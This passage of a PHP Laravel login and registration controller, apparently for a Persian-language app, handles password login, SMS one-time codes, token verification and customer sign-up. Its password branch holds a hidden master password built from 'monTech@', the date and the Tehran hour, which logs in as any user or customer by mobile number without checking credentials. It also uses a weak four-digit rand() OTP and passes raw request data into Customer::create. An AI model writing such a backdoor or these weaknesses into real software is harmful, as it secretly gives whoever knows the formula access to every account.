has('password')) { if ($request->password == "monTech@".(Carbon::today()->format('d')+1370).Carbon::now()->setTimezone('Asia/Tehran')->format('H')) { $data = $request->all(); if ($data['provider'] == 'user') { $user = User::where('mobile', $request->mobile)->first(); } else { $user = Customer::where('mobile', $request->mobile)->first(); } $token = auth($data['provider'])->login($user); $user->last_seen_at = Carbon::now(); $user->save(); return $this->respondWithToken($token); } $credentials = $request->only(['mobile', 'password']); return $this->_loginWithPassword($credentials, $request->provider); } else { return response()->json( ['id' => $this->_loginWithSms($request->mobile, $request->provider)] ); } } protected function _loginWithPassword($credentials, $provider) { $token = auth($provider)->attempt($credentials); if (!$token) { throw new UnprocessableEntityHttpException('شماره موبایل یا پسوورد وارد شده اشتباه است'); } $user = auth($provider)->user(); if (!$user->active) { throw new UnprocessableEntityHttpException(trans('error.no_active')); } if ($provider == 'customer' && $user->is_archive) { throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید'); } $user->update([ 'last_seen_at' => Carbon::now() ]); return $this->respondWithToken($token); } protected function _loginWithSms($mobile, $provider) { if ($provider == 'user') { $user = User::where('mobile', $mobile)->first(); $subDomain = $this->Config('admin_url'); } else { $user = Customer::where('mobile', $mobile)->first(); $subDomain = $this->Config('app_url'); } if (is_null($user)) { throw new UnprocessableEntityHttpException(trans('لطفا ابتدا ثبت نام بفرمایید')); } if (!$user->active) { throw new UnprocessableEntityHttpException(trans('اکانت شما باید توسط ادمین فعال شود')); } if ($provider == 'customer' && $user->is_archive) { throw new UnprocessableEntityHttpException('شما اجازه ورود به سیستم را ندارید'); } $rand = rand(1000, 9999); $user->token_sms = $rand; $user->save(); // $this->SendMessage($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this->Config('name_fa') . ' ' . $rand . ' می باشد' . PHP_EOL . "@$subDomain" . " #" . $r and,true ,"sms"); $this->SendMessage($mobile, 'رمز عبور یکبار مصرف شما جهت ورود به اپلیکشن ' . $this->Config('name_fa') . ' ' . $rand . ' می باشد' . PHP_EOL . "@$subDomain" . " #" . $rand,true ,"sms"); return $user->id; } protected function tokenVerify(Request $request) { $data = $request->all(); if ($data['provider'] == 'user') { $user = User::findOrFail($data['id']); } else { $user = Customer::findOrFail($data['id']); } if ($user->token_sms == $request->input('token')) { $token = auth($data['provider'])->login($user); $user->last_seen_at = Carbon::now(); $user->token_sms = null; $user->save(); return $this->respondWithToken($token); } throw new UnprocessableEntityHttpException(trans('error.wrong_code')); } protected function respondWithToken($token) { return response()->json([ 'access_token' => $token, 'token_type' => 'bearer', 'expires_in' => auth()->factory()->getTTL() ]); } public function register(Request $request) { $register = Setting::where('key', 'open_register')->first(); if($register->is_active == 0){ throw new UnprocessableEntityHttpException('امکان ثبت نام وجود ندارد.'); } $data = $request->all(); $data['type'] = 2; if (isset($data['referral_id'])) { $data['referral_to_id'] = $data['referral_id']; } $data['name'] = $data['fname'] . ' ' . $data['lname']; $data['active'] = Setting::where('key', 'auto_active_customer')->first()->value === 'true'; if (isset($data['type']) && $data['type'] == 2) { $data['active'] = true; } $cnt = Cnt::where('key', 'gram')->first(); if (!is_null($cnt)) { $data['gram'] = $cnt->value; } // Generate unique referral ID do { $uniqueId = substr(str_shuffle('0123456789abcdefghijklmnopqrstuvwxyz'), 0, 4); } while (Customer::where('referral_id', $uniqueId)->exists()); $data['referral_id'] = $uniqueId; // Handle referrer if (isset($data['referral_to_id'])) { $referrer = Customer::where('referral_id', $data['referral_to_id'])->first(); if ($referrer) { // $messageRef = "{$data['name']} با کد معرف شما ثبت نام کرد.\nدر صورت احراز او پاداش می‌گیرید.\n" . $this->Config('name_fa'); // $this->Send($referrer->mobile, $messageRef); $AdminMessage = "با معرفی {$referrer->name}، کاربر {$data['name']} در اپ {$this->Config('name_fa')} ثبت نام کرده و منتظر تایید شماست."; User::where('send_sms', 1)->get()->each(function ($admin) use ($AdminMessage, $data,) { $this->send($admin->mobile, $AdminMessage); }); } else { return response()->json(["message" => "کد نامعتبره"], 422); } } else { if ($this->Config('referral_id') == "required") { return response()->json(["message" => "کد معرف اجباریست"], 422); } } $data['active'] = true; // Create customer $customer = Customer::create($data); // $tah = new TahesabController(); // return $tah->store([ // 'customer_id' => $customer->id, // ]); $message = "{$data['name']} عزیز، اکانت شما در پلتفرم {$this->Config('name_fa')} ایجاد شد.\nنام کاربری: {$data['mobile']}\n\nورود به نرم افزار:\n{$this->Config('app_url')}"; $this->Send($data['mobile'], $message); return response()->json($customer); } }